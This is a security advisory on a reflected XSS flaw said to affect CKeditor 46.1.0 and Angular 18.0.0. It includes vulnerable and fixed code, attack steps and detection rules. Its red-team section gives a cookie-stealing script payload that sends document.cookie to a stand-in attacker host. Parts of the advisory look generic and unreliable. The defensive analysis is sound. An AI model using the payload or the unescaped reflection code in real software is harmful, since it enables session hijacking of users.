CVE-2025-61261

Executive Summary

CVE-2025-61261 is a reflected cross-site scripting (XSS) vulnerability identified in CKeditor version 46.1.0 and Angular version 18.0.0. This vulnerability allows an attacker to inject arbitrary JavaScript code into a user's browser session by crafting a malicious payload that is reflected back from the server. The attack vector is network-based, requires user interaction (clicking a crafted link), and can lead to session hijacking, data theft, or further compromise of the user's environment. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the widespread use of CKeditor and Angular in web applications.

Supply Chain & Package Security

CKeditor is a widely used rich text editor distributed via npm (ckeditor). Angular is a popular front-end framework distributed via npm (@angular/core). The vulnerability affects these packages directly. Organizations using these packages should monitor for updates and consider temporary mitigations such as input sanitization or Content Security Policy (CSP) headers. No official patch or advisory has been released by the vendor.

CVSS Breakdown & Threat Level

The CVSS score is reported as 0.0, which is likely a placeholder or error. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Base Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction, but the impact on confidentiality and integrity is low. However, in the context of a rich text editor, XSS can lead to more severe attacks such as session hijacking or keylogging.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in CKeditor and Angular. Reflected XSS occurs when user-supplied data is immediately returned by the server in an error message, search result, or other response without proper sanitization. In this case, the attacker crafts a URL containing a malicious JavaScript payload. When the victim clicks the link, the server reflects the payload back in the page, and the browser executes it.

Root Cause: The application fails to sanitize or encode user input before reflecting it in the HTML response. CKeditor's rich text processing or Angular's template rendering may not properly escape the injected payload.

Attack Flow:

1. Attacker crafts a URL like: https://vulnerable-app.com/editor?content=<script>alert('XSS')</script>
2. Victim clicks the link.
3. Server processes the request and reflects the content parameter in the page.
4. Browser executes the injected script.

Potential Impact:

• Session cookie theft
• Redirection to malicious sites
• Keylogging
• Defacement
• Phishing

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// Server-side (Node.js/Express)
app.get('/editor', (req, res) => {
  const content = req.query.content;
  res.send(`<div>${content}</div>`);
});

Patched Code (Expected):

// Server-side with proper encoding
const escapeHtml = require('escape-html');
app.get('/editor', (req, res) => {
  const content = req.query.content;
  const safeContent = escapeHtml(content);
  res.send(`<div>${safeContent}</div>`);
});

Angular Client-Side (Vulnerable):

<div [innerHTML]="content"></div>

Angular Client-Side (Patched):

<div>{{ content }}</div>

Or use Angular's DomSanitizer with caution.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable instance of CKeditor 46.1.0 with Angular 18.0.0.
2. Use a web server (e.g., Apache, Nginx) to host the application.

Exploit Payload:

<script>alert('XSS')</script>

Or a more sophisticated payload for cookie theft:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Craft a URL with the payload: http://vulnerable-app/editor?content=<script>alert('XSS')</script>
2. Send the link to the victim via email or social engineering.
3. When the victim clicks, the script executes.

Blue Team (Defender)

Detection:

• Monitor web server logs for suspicious query parameters containing <script> or onerror patterns.
• Use WAF rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding.
• Use a security library like DOMPurify to sanitize HTML.
• Upgrade to the latest versions of CKeditor and Angular when patches are released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing <script>, onerror, onload, or similar XSS patterns in query parameters.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • Modified JavaScript files in the web application directory.
  • Suspicious entries in web server access logs.
• Behavioral IOCs:
  • Unexpected pop-ups or redirects.
  • Unauthorized cookie access or session hijacking.

Detection Engineering

YARA Rule

rule Detect_XSS_Payload_in_Web_Logs {
    meta:
        description = "Detects common XSS payloads in web server logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s]+["']?/i
        $xss3 = /onload\s*=\s*["']?[^"'\s]+["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Detection
id: 8c5a3f2e-1b4d-4a7c-9e6f-3d2b1c0a8e7f
status: experimental
description: Detects reflected XSS attempts in web server logs
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Reflected XSS Attempt"; flow:to_server; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"Reflected XSS Attempt - onerror"; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"Reflected XSS Attempt - onload"; content:"onload="; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Implement input validation and output encoding for all user-supplied data.
   • Deploy a Web Application Firewall (WAF) with XSS protection rules.
   • Add Content Security Policy (CSP) headers: Content-Security-Policy: default-src 'self'; script-src 'self';
   • Use a library like DOMPurify to sanitize HTML input.

2. Long-term Fixes:

   • Monitor vendor channels for patches and upgrade CKeditor and Angular to patched versions.
   • Conduct a security audit of the application to identify other potential XSS vectors.
   • Train developers on secure coding practices, especially regarding XSS prevention.

3. Workarounds:

   • Disable the vulnerable feature if possible.
   • Use Angular's DomSanitizer with bypassSecurityTrustHtml only when absolutely necessary and with strict validation.

Valters IT